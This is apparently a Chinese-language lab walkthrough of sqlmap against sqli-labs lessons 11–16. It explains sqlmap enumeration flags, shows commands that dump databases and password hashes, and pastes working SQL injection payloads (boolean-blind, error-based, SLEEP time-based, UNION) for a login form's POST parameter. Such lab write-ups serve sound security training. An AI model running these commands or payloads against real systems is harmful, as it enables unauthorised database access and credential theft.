11、less11-Error Based- String
bp抓包,然后右键将我抓到的包保存为txt格式。
11.1、枚举–信息获取
在上一篇文章中我们讨论的主要是跑数据库的一般步骤,接下来,我们具体讨论一下通过枚举参数我们可以获取到的信息。
在这里我们使用的参数是 - r
,即从一个文件中载入http请求。
首先,我们先把枚举参数列出来,然后再逐一复现吧。
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的 SQL 语句。
-b, --banner 检索数据库管理系统的标识
--current-user 检索数据库管理系统当前用户
--current-db 检索数据库管理系统当前数据库
--is-dba 检测 DBMS 当前用户是否 DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的 DBMS 数据库中的表
--columns 枚举 DBMS 数据库表列
--dump 转储数据库管理系统的数据库中的表项
--dump-all 转储所有的 DBMS 数据库表中的条目
--search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--start=LIMITSTART 第一个查询输出进入检索
--stop=LIMITSTOP 最后查询的输出进入检索
--first=FIRSTCHAR 第一个查询输出字的字符检索
--last=LASTCHAR 最后查询的输出字字符检索
--sql-query=QUERY 要执行的 SQL 语句
--sql-shell 提示交互式 SQL 的 shell
接下来,我们以本关为例,对上述参数进行注意复现!start!!!
11.1.1、枚举当前数据库及用户信息
-b, --banner 检索数据库管理系统的标识
--current-user 检索数据库管理系统当前用户
--current-db 检索数据库管理系统当前数据库
--is-dba 检测 DBMS 当前用户是否 DBA (dba:数据库管理员,因此这条语句可以用来查看用户权限)
将上面参数整合后如下:
C:\Python27\sqlmap>sqlmap.py -r "C:\Users\20544\Desktop\sqlmap.txt" --level=5 --risk=3 --banner --current-user --current-db --is-dba
执行结果如下:
11.1.2、枚举系统用户信息
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
语句整合后,如下:
C:\Python27\sqlmap>sqlmap.py -r "C:\Users\20544\Desktop\sqlmap.txt" --level=5 --risk=3 --users --passwords --privileges --roles
执行结果如下:
数据库管理系统用户-- --users
数据库管理系统用户密码哈希–--passwords
数据库管理系统用户权限–--privileges
数据库管理系统用户角色–--roles
11.1.3、枚举爆破参数
这个在上一篇文章中大致讲解了以下参数的使用详情请参考链接:
sqlmap刷sqllibs_01
- 1、需要获取的参数
--dbs 枚举数据库管理系统数据库
--tables 枚举的 DBMS 数据库中的表
--columns 枚举 DBMS 数据库表列
--dump 转储数据库管理系统的数据库中的表项
--dump-all 转储所有的 DBMS 数据库表中的条目
--search 搜索列(S),表(S)和/或数据库名称(S)
- 2、当前已经获得的参数
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
11.4、位置相关
--start=LIMITSTART 第一个查询输出进入检索
--stop=LIMITSTOP 最后查询的输出进入检索
--first=FIRSTCHAR 第一个查询输出字的字符检索
--last=LASTCHAR 最后查询的输出字字符检索
11.5、自定义语句
--sql-query=QUERY 要执行的 SQL 语句
--sql-shell 提示交互式 SQL 的 shell
11.2、闯关索引
C:\Python27\sqlmap>sqlmap.py -r "C:\Users\20544\Desktop\sqlmap.txt" --level=5 --risk=3 --dbs
数据库给出的payload如下:
sqlmap identified the following injection point(s) with a total of 502 HTTP(s) requests:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: uname=1' OR NOT 4607=4607-- CPuf&passwd=1&submit=Submit
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71626a7671,(SELECT (ELT(8801=8801,1))),0x717a6a7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- ZeWx&passwd=1&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=1' AND (SELECT 6240 FROM (SELECT(SLEEP(5)))UoeA)-- YZOu&passwd=1&submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: uname=1' UNION ALL SELECT CONCAT(0x71626a7671,0x717a6b7a6b6a7173476a6751457166487677754b455455435a6a725a4b6167576e77504b6d6a4764,0x717a6a7071),NULL-- -&passwd=1&submit=Submit
---
12、less12-Error Based- Double quotes- String
本关同于第11关,具体语句不一一赘述了
PS:有的时候直接 - r
可能跑不出来,所以就要尝试着加高一下level水平。
C:\Python27\sqlmap>sqlmap.py -r "C:\Users\20544\Desktop\sqlmap.txt" --level=5 --risk=3 --dbs --current-user --current-db --is-dba
下面为sqlmap给出的payload:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: uname=1") OR NOT 4342=4342#&passwd=1&submit=Submit
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=1") AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b716b71,(SELECT (ELT(7787=7787,1))),0x7170786b71,0x78))s), 8446744073709551610, 8446744073709551610))) AND ("bRDk"="bRDk&passwd=1&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=1") AND (SELECT 2023 FROM (SELECT(SLEEP(5)))fdOn) AND ("aSeY"="aSeY&passwd=1&submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: uname=1") UNION ALL SELECT CONCAT(0x716b716b71,0x6d6b6f757366756d6468764c5955784d696c4459426f466c61424343456d4b4f52664454546e6a6d,0x7170786b71),NULL#&passwd=1&submit=Submit
---
13、less13-Double Injection- String- with twist
本关同于第11关,具体语句不一一赘述了。
下面为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 1611 HTTP(s) requests:
---
Parameter: uname (POST)
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=11') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b706a71,(SELECT (ELT(1660=1660,1))),0x716b767671,0x78))s), 8446744073709551610, 8446744073709551610)))-- nvej&passwd=11&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=11') AND (SELECT 3685 FROM (SELECT(SLEEP(5)))eavv)-- IpuU&passwd=11&submit=Submit
---
14、less14-Double Injection- Double quotes- String
本关同于第11关,具体语句不一一赘述了。
下面为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 1611 HTTP(s) requests:
---
Parameter: uname (POST)
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=12" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171626b71,(SELECT (ELT(3785=3785,1))),0x7178706b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- EBWp&passwd=12&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=12" AND (SELECT 1867 FROM (SELECT(SLEEP(5)))MSqy)-- xKhK&passwd=12&submit=Submit
---
15、less15-Blind- Boolian Based- String
本关同于第11关,具体语句不一一赘述了。
下面为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 4458 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=11' AND (SELECT 9019 FROM (SELECT(SLEEP(5)))czKU)-- lSfH&passwd=11&submit=Submit
---
16、less16-Blind- Time Based- Double quotes- String
本关同于第11关,具体语句不一一赘述了。
下面为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 4464 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=1111") AND (SELECT 6341 FROM (SELECT(SLEEP(5)))EkVV) AND ("NvOs"="NvOs&passwd=11&submit=Submit
---